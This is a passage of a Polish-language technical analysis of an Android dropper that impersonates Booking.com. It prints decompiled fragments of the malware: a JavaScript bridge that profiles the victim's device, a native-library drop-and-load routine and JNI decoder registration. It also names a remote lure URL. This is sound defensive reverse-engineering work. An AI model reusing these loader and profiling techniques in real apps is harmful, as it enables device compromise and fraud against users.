&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;webView6&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;webView6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;webView6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po odwróceniu działania natywnego dekodera opartego na JNI wartości te przyjmują postać:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nazwa interfejsu JavaScript: &lt;code&gt;Android&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;początkowo ładowana strona: &lt;code&gt;file:///android_asset/gfjdkqdca.html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nie oznacza to jednak, że ofiara widzi wyłącznie lokalną stronę. Lokalny zasób pełni rolę strony bootstrapującej używanej przez zewnętrzny dropper. Równolegle ten sam etap zewnętrzny dekoduje &lt;code&gt;xc.b&lt;/code&gt; do &lt;code&gt;https://booking.interaction.lat/update/&lt;/code&gt;, przekazuje tę wartość do &lt;code&gt;KokokotProcessorrdy&lt;/code&gt;, a ta aktywność ładuje przekazany adres we własnym &lt;code&gt;WebView&lt;/code&gt;. Ten sam zdalny motywowany &lt;em&gt;Booking.com&lt;/em&gt; adres jest później ponownie wykorzystywany przez etap finalny przez &lt;code&gt;BuildConfig.BASE_URL&lt;/code&gt;. W praktyce etap 0 zaczyna się od lokalnego zasobu bootstrapującego, ale widoczny dla użytkownika fałszywy "Booking" to zdalna strona &lt;code&gt;https://booking.interaction.lat/update/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Interfejs nie jest elementem kosmetycznym. Profiluje urządzenie ofiary i może uruchamiać dalszy proces instalacji:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@JavascriptInterface&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;get_SYSINFO&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Build&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;VERSION&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SDK_INT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Locale&lt;/span&gt; &lt;span class="n"&gt;locale&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Resources&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSystem&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getConfiguration&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getLocales&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;locale&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLanguage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;Locale&lt;/span&gt; &lt;span class="n"&gt;locale2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Locale&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ROOT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;lowerCase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;locale2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;upperCase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;locale&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getCountry&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toUpperCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;locale2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sdk&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;$h05080E1008&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Build&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MODEL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/459565C44565A5D47494F5B51&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Build&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MANUFACTURER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@JavascriptInterface&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bm3D09021B090D0B350A0C232A0E0E0F172F186A22&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;m0a0cac5c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;F0a0cac5c_11&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;T&amp;gt;74604A627162525E565328686B5F606A6A2F91636E61676E722967657B696835373F35416E717D80818476827C864C86807E7C92868795818F8A8A&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mainHandler&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;x2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Oznacza to, że fałszywa strona &lt;em&gt;Booking.com&lt;/em&gt; może jednocześnie zbierać informacje o urządzeniu i przesuwać ofiarę głębiej w łańcuch infekcji.&lt;/p&gt;
&lt;h4&gt;Etap 1: inicjalizacja w klasie Application i zrzucenie biblioteki natywnej&lt;/h4&gt;
&lt;p&gt;Właściwa inicjalizacja zaczyna się jeszcze wcześniej, w v0a0cac5c.l0a0cac5c.attachBaseContext(). Ta klasa kopiuje odpowiednią bibliotekę natywną z zasobów APK do prywatnego katalogu i ładuje ją przez System.load():&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;}));&lt;/span&gt;
    &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;separator&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;81&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;I0a0cac5c_00&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;APK zawiera cztery warianty architektoniczne:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;assets/l0a0cac5c_a32.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;assets/l0a0cac5c_a64.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;assets/l0a0cac5c_x86.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;assets/l0a0cac5c_x64.so&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;W obserwowanym uruchomieniu wariant x64 został zrzucony do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/data/user/0/com.pulsebookmanager.helper/files/.ss/l0a0cac5c.so&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;i załadowany właśnie z tej ścieżki. Zrzut runtime zgadzał się z osadzonym zasobem.&lt;/p&gt;
&lt;p&gt;Na tym etapie zewnętrzny APK zrobił już trzy rzeczy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;zbudował widoczną dla ofiary przynętę,&lt;/li&gt;
&lt;li&gt;załadował bibliotekę natywną pełniącą rolę bootstrapu,&lt;/li&gt;
&lt;li&gt;przekazał kontrolę do JNI jeszcze przed zakończeniem głównego przepływu instalacyjnego.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Analiza natywna: rejestracja JNI i mechanizmy utrudniające analize&lt;/h4&gt;
&lt;p&gt;Analiza &lt;code&gt;l0a0cac5c_x64.so&lt;/code&gt; pokazuje, że biblioteka nie jest biernym pomocnikiem. &lt;code&gt;JNI_OnLoad&lt;/code&gt; lokalizuje zobfuskowaną klase dekodera, rejestruje dla niej metody natywne, pobiera ścieżki runtime i wykonuje kontrole utrudniające analizę przed kontynuacją działania.&lt;/p&gt;
&lt;p&gt;W zdekompilowanej ścieżce &lt;code&gt;JNI_OnLoad&lt;/code&gt; widać:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;iVar3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;param_1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x10002&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iVar3&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;JNI_OnLoad could not get JNI env&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;LAB_00222d67&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;lVar4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s_m0a0cac5c_002d0750&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;FUN_00221e90&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Fail to find class: %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s_m0a0cac5c_002d0750&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;iVar3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x6b8&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;PTR_s_vm_init_002cf610&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0xc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iVar3&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;RegisterNatives error&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;LAB_00222d67&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;To istotne, ponieważ potwierdza, że częste wywołania &lt;code&gt;m0a0cac5c.F0a0cac5c_11(...)&lt;/code&gt; po stronie Java są faktycznie obsługiwane przez natywny dekoder zarejestrowany na starcie procesu.&lt;/p&gt;
&lt;p&gt;Ta sama ścieżka &lt;code&gt;JNI_OnLoad&lt;/code&gt; odzyskuje też lokalizacje runtime:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;lVar5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x388&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;getPath&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;()Ljava/lang/String;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;uVar6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FUN_0021ecd0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;lVar5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;pcVar24&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x548&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;DAT_002d2ef0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strdup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x550&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;uVar6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;pcVar24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DAT_002d2ee9&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;lVar5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;local_488&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x388&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
